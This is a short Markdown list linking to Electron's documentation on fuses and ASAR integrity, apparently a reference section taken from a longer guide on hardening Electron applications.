- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)